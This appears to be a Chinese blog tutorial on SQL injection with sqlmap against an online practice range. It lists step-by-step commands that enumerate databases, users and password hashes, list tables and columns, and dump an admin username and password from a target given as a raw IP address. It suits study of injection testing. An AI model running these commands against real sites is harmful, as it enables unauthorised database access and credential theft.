渗透测试sqlmap注入教程

0x01  简介

Automatic SQL injection and database takeover tool

Kali Liunx已经集成,也有win平台下python版本的。

首先我们需要找个有注入点的网址,找个可以自己搭建,也可以找靶机。

这里我找了一个在线演练靶场。https://hack.zkaq.org/

存在的注入点:http://117.41.229.122:8003/?id=1

终端命令:

sqlmap -u "http://117.41.229.122:8003/?id=1"

从结果中我们得知

(1)注入参数id为GET注入,注入类型有:boolean-based blind,time-based blind。
(2)web服务器系统为windows
(3)web应用程序技术为:PHP 5.4..45 Apache 2.4.23
(4)数据库类型为:MYSQL大于5.0.12版本

其中图一有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:


sqlmap -u "http://117.41.229.122:8003/?id=1"--batch

0x02 暴库

曝出该sqlserver中所有数据库名称


sqlmap -u "http://117.41.229.122:8003/?id=1" --dbs

参数:
–dbs:参数前都有俩条横杠。

结果显示了3个可用数据库,分别为
information_schema
maoshe
test

0x03 web当前使用的数据库


sqlmap -u "http://117.41.229.122:8003/?id=1" --current-db

结果显示current database: ‘maoshe

0x04 web数据库使用账户

sqlmap -u "http://117.41.229.122:8003/?id=1" --current-user

0x05 列出sqlserver所有用户

sqlmap -u "http://117.41.229.122:8003/?id=1" --users

0x06 数据库账户与密码

sqlmap -u "http://117.41.229.122:8003/?id=1" --passwords


这靶机有限制,读取密码出错了。

0x07 列出数据库中的表

sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe --tables

参数:
-D:指定数据库名称
–tables:列出表

0x08 列出表中字段

sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin --columns

参数:
-D:指定数据库名称
-T:指定要列出字段的表
–columns:指定列出字段

0x09 暴字段内容

sqlmap -u "http://117.41.229.122:8003/?id=1" -D maoshe -T admin -C "username,password" --dump

-D:指定数据库名称
-T:指定要列出字段的表
-C :指定要暴的字段
–dump:将结果导出

结果中可以看到,admin对于的密码为hellohack

0x10 验证

到此我们使用SQLMAP从最简单的注入然后暴库拿到管理员密码。

更多的SQLMAP参考官方网址:http://sqlmap.org/

SQLMAP源码学习笔记之目录结构:https://blog.csdn.net/qq_29277155/article/details/51646932

渗透攻防Web篇-SQL注入攻击三部曲:https://bbs.ichunqiu.com/thread-9518-1-1.html

发表评论

邮箱地址不会被公开。 必填项已用*标注